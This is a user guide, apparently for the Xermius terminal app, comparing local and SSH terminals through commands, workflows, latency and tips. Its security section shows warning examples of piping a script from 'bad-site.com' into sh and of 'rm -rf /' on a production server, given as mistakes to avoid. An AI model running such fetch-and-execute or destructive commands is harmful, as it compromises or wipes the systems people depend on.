Skip to main content

Local Terminal vs SSH Terminal

Understand when to use local terminal versus SSH terminal, and how they differ in functionality and use cases.

Quick Comparison​

FeatureLocal TerminalSSH Terminal
ConnectionNo connection neededRequires SSH connection
LocationYour computerRemote server
SpeedInstantNetwork dependent
Offline✅ Works offline❌ Needs internet
SetupNoneSSH credentials required
FilesLocal filesystemRemote filesystem
ResourcesYour computer'sServer's
Use CaseLocal developmentServer management

Fundamental Differences​

1. Execution Location​

Local Terminal:

# Command runs on YOUR computer
pwd
# Output: /Users/yourname

hostname
# Output: your-macbook.local

whoami
# Output: yourname

SSH Terminal:

# Same commands run on REMOTE server
pwd
# Output: /home/remoteuser

hostname
# Output: web-server-01

whoami
# Output: remoteuser

2. File System Access​

Local Terminal:

# Access YOUR computer's files
ls ~/Documents
cat ~/.bashrc
cd /Applications # macOS

# File paths are local
/Users/yourname/... # macOS
/home/yourname/... # Linux
C:\Users\yourname\... # Windows

SSH Terminal:

# Access REMOTE server's files
ls ~/Documents # Server's documents
cat ~/.bashrc # Server's bashrc
cd /var/www # Server's web directory

# Different file system
/home/serveruser/...
/var/log/...
/etc/nginx/...

3. Network Requirements​

Local Terminal:

┌────────────────┐
│ Your Computer │
│ │
│ [Terminal] │
│ ↓ │
│ Local Shell │
│ ↓ │
│ Local Commands │
└────────────────┘

✅ No internet needed
✅ Works offline
✅ Zero latency

SSH Terminal:

┌────────────────┐        ┌───────────────┐
│ Your Computer │ │ Remote Server │
│ │ │ │
│ [Terminal] │ │ Shell │
│ ↓ │ │ ↓ │
│ SSH Client ────┼────────┼→ SSH Server │
│ │ Network│ ↓ │
│ Display ←──────┼────────┼─ Commands │
└────────────────┘ └───────────────┘

❌ Needs internet
❌ Network latency
❌ Can disconnect

4. Resource Usage​

Local Terminal:

# Check CPU - shows YOUR computer's usage
top
# Your: 4 cores, 16GB RAM

# Install software - uses YOUR disk space
npm install
# Downloads to YOUR computer

# Run server - uses YOUR ports
npm run dev
# Listening on localhost:3000 (YOUR machine)

SSH Terminal:

# Check CPU - shows SERVER's usage
top
# Server: 8 cores, 32GB RAM

# Install software - uses SERVER disk space
sudo apt install nginx
# Installs on SERVER

# Run server - uses SERVER ports
systemctl start nginx
# Listening on server IP:80

When to Use Each​

Use Local Terminal For:​

1. Development Work​

# Code editing and building
cd ~/projects/my-app
code . # Open in editor
npm run dev # Start dev server
npm run build # Build project
npm test # Run tests

Why Local:

  • Fast compilation
  • No network delay
  • Use local tools (IDE, browsers)
  • Easy debugging

2. Git Operations​

# Version control
git status
git add .
git commit -m "Update"
git push origin main
git pull --rebase

Why Local:

  • Your code is local
  • Git credentials stored locally
  • Fast operations
  • No server needed

3. Local File Management​

# Organize your files
cd ~/Downloads
mv *.pdf ~/Documents/PDFs/
find ~/Desktop -name "*.log" -delete
rsync -avz backup/ /Volumes/External/

Why Local:

  • Direct file access
  • No transfer needed
  • Familiar paths
  • Fast operations

4. Package Installation​

# Install development tools
npm install
pip install -r requirements.txt
brew install wget
cargo install ripgrep

Why Local:

  • For local development
  • No server access needed
  • Use immediately
  • Don't affect server

5. Quick Commands​

# System information
date
cal
df -h
ifconfig
ping google.com

Why Local:

  • Instant results
  • No login needed
  • Check YOUR system
  • Always available

Use SSH Terminal For:​

1. Server Management​

# Manage remote services
sudo systemctl status nginx
sudo systemctl restart apache2
sudo service mysql start
pm2 restart all

Why SSH:

  • Control server services
  • Need root access
  • Server-specific
  • Can't do from local

2. Log Monitoring​

# Watch server logs
tail -f /var/log/nginx/access.log
journalctl -u myapp -f
docker logs -f container_name
tail -f /var/log/syslog

Why SSH:

  • Logs are on server
  • Real-time monitoring
  • Diagnose issues
  • Production debugging

3. Deployment​

# Deploy applications
cd /var/www/myapp
git pull origin main
npm install --production
npm run build
pm2 restart app

Why SSH:

  • Deploy to server
  • Production environment
  • Server commands
  • Update live site

4. Database Operations​

# Remote database management
mysql -u root -p
psql -h localhost -U postgres mydb
mongosh --host server --port 27017
redis-cli -h 127.0.0.1

Why SSH:

  • Database on server
  • Security (not exposed)
  • Server-side operations
  • Production data

5. System Maintenance​

# Server maintenance
sudo apt update
sudo apt upgrade
sudo reboot
crontab -e
sudo ufw status

Why SSH:

  • Server administration
  • Security updates
  • System configuration
  • Root access needed

Common Workflows​

Workflow 1: Full-Stack Development​

Local Terminal Tab 1: Frontend Dev
→ npm run dev (localhost:3000)

Local Terminal Tab 2: Git
→ git status, commits, push

SSH Terminal Tab 1: Backend API
→ pm2 logs api
→ Monitor production API

SSH Terminal Tab 2: Database
→ psql production_db
→ Query production data

Mixed usage for complete workflow!

Workflow 2: Debug Production Issue​

Step 1: Check logs (SSH)
→ tail -f /var/log/app/error.log
→ Identify issue

Step 2: Test fix locally (Local)
→ Reproduce issue
→ Develop fix
→ Test locally

Step 3: Deploy fix (Local → SSH)
→ git commit and push (Local)
→ Pull and restart (SSH)

Step 4: Verify (SSH)
→ Check logs
→ Monitor errors

Workflow 3: Data Migration​

Step 1: Export from server (SSH)
→ mysqldump db > backup.sql
→ Create backup on server

Step 2: Download to local (Local)
→ scp server:backup.sql ~/Downloads/
→ Get file locally

Step 3: Process locally (Local)
→ sed 's/old/new/g' backup.sql > modified.sql
→ Transform data

Step 4: Upload and import (Local → SSH)
→ scp modified.sql server:~/
→ mysql db < modified.sql (SSH)

Technical Differences​

Command Availability​

Local Terminal:

# Available: Tools installed on YOUR computer

✅ macOS/Linux/Windows native commands
✅ Homebrew/apt/choco installed tools
✅ Development tools (node, python, etc.)
✅ GUI launchers (open, xdg-open)

❌ Server-specific commands
❌ Remote service controls
❌ Production tools

SSH Terminal:

# Available: Tools installed on SERVER

✅ Linux/Unix server commands
✅ Server package manager tools
✅ Service management (systemctl, etc.)
✅ Production environment tools

❌ Your local tools
❌ macOS-specific commands (if Linux server)
❌ Windows commands (if Unix server)

Environment Variables​

Local Terminal:

# YOUR environment variables
echo $HOME
# /Users/yourname (macOS)

echo $PATH
# /usr/local/bin:/usr/bin:...
# Your local paths

echo $USER
# yourname

SSH Terminal:

# SERVER's environment variables
echo $HOME
# /home/serveruser

echo $PATH
# /usr/bin:/bin:/usr/sbin:...
# Server paths

echo $USER
# serveruser

File Transfer​

Need to transfer files between local and remote?

From Local to Remote:

# In Local Terminal
scp localfile.txt user@server:/remote/path/

# Or using rsync
rsync -avz local/ user@server:/remote/

# Or through SFTP (Xermius SFTP client)

From Remote to Local:

# In Local Terminal
scp user@server:/remote/file.txt ~/local/path/

# Or using rsync
rsync -avz user@server:/remote/ ~/local/

# Or through SFTP (Xermius SFTP client)

Clipboard​

Local Terminal:

# Copy from terminal
# Select text → Ctrl+C
# Text available in YOUR clipboard

# Paste to terminal
# Ctrl+V
# Pastes from YOUR clipboard

SSH Terminal:

# Copy from remote
# Select text → Ctrl+C
# Text available in YOUR clipboard
# (Terminal output, not server clipboard)

# Paste to remote
# Ctrl+V
# From YOUR clipboard
# (Not server clipboard)

Note: SSH terminal shows remote output but clipboard is always local!

Performance Considerations​

Speed Comparison​

Local Terminal:

Command → Execution → Display

Average time: <1ms
- Instant execution
- No network
- Direct access

SSH Terminal:

Command → Network → Server → Execution → Network → Display

Average time: 10-500ms
- Network latency
- Encryption overhead
- Server processing

Example:

# Local: < 1ms
time ls
# real 0m0.001s

# SSH: ~50ms (good network)
ssh server "time ls"
# real 0m0.050s

# SSH: ~500ms (slow network)
ssh server "time ls"
# real 0m0.500s

Latency Impact​

Low latency (< 20ms):

  • Feels almost local
  • Good for interactive work
  • Normal typing speed

Medium latency (20-100ms):

  • Noticeable delay
  • Still usable
  • Slight typing lag

High latency (> 100ms):

  • Frustrating delays
  • Hard to use interactively
  • Better for scripted tasks

Test latency:

# In Local Terminal
ping server-ip

# Shows latency:
# 64 bytes from server: time=15.2 ms (good)
# 64 bytes from server: time=156 ms (slow)

Security Differences​

Local Terminal​

Security:

  • ✅ No network exposure
  • ✅ Direct hardware access
  • ✅ Trusted environment
  • ⚠️ Local malware risk
  • ⚠️ Physical access risk

Risks:

# Accidentally running malicious script locally
curl bad-site.com/script.sh | sh
# Executes on YOUR computer!

# Better: Review first
curl bad-site.com/script.sh > script.sh
cat script.sh # Review
bash script.sh # Run if safe

SSH Terminal​

Security:

  • ✅ Encrypted connection
  • ✅ Authentication required
  • ✅ Isolated from local
  • ⚠️ Network attacks possible
  • ⚠️ Server compromise risk

Risks:

# Running unknown command on server
ssh server "curl bad-site.com/script.sh | sh"
# Executes on SERVER!

# Wrong server by accident
ssh production-server "rm -rf /"
# DISASTER if not careful!

Troubleshooting​

Issue: Command Works Locally but Not via SSH​

Cause: Different environments

Example:

# Local: Works
npm run build
# Success

# SSH: Fails
ssh server "npm run build"
# npm: command not found

Solution:

# SSH with login shell
ssh server "bash -l -c 'npm run build'"

# Or set PATH in SSH command
ssh server "PATH=/usr/local/bin:$PATH npm run build"

# Or use absolute path
ssh server "/usr/local/bin/npm run build"

Issue: Wrong Terminal Type​

Problem: Running local command expecting SSH or vice versa

Example:

# In Local Terminal (WRONG!)
systemctl restart nginx
# systemctl: command not found (if macOS)
# Or restarts local service (not intended)

# Should be in SSH Terminal:
# Connected to server
systemctl restart nginx

Prevention:

  • Check tab indicator: [💻 Local] vs [📡 Server]
  • Verify with pwd and hostname
  • Use tab naming for clarity

Best Practices​

1. Organize Tabs Clearly​

Good naming:
[💻 Local: Build]
[💻 Local: Git]
[📡 Web-01: Logs]
[📡 DB-01: MySQL]

Clear at a glance!

2. Use Right Terminal for Task​

✓ Local for: Building, Git, Local files
✓ SSH for: Deployments, Logs, Server management

3. Don't Mix Environments​

❌ Don't: Build on server
(Slow, wastes resources)

✓ Do: Build locally, deploy to server
(Fast, efficient)

❌ Don't: Edit production files locally
(Out of sync)

✓ Do: Edit on server or deploy from local
(Consistent)

4. Verify Before Dangerous Commands​

# Always check location first
pwd
hostname

# Then run command
rm -rf directory/

5. Use Color/Theme Indicators​

Settings → Terminal → Appearance
- Local terminals: Default theme
- Production servers: Red/warning theme
- Staging servers: Yellow theme
- Development servers: Blue theme

Visual distinction helps prevent mistakes!

Quick Reference​

Check Where You Are​

# In any terminal, run:
pwd && hostname && whoami

# Local example:
/Users/john
john-macbook.local
john

# SSH example:
/home/webuser
web-server-01
webuser

Switch Context​

# From Local → SSH
# Just switch tab or create new SSH connection

# From SSH → Local
# Switch to local terminal tab
# Or open new local terminal: Ctrl+Shift+T

Transfer Files​

# Local → Remote
scp file.txt user@server:/path/

# Remote → Local
scp user@server:/path/file.txt ./

# Or use SFTP tab in Xermius

Summary​

Local Terminal:

  • 👍 Fast, always available
  • 👍 Development work
  • 👍 No connection needed
  • 👎 Only your computer
  • 👎 Can't manage servers

SSH Terminal:

  • 👍 Server management
  • 👍 Production access
  • 👍 Remote administration
  • 👎 Needs connection
  • 👎 Network latency

Use both for complete workflow!

Next Steps​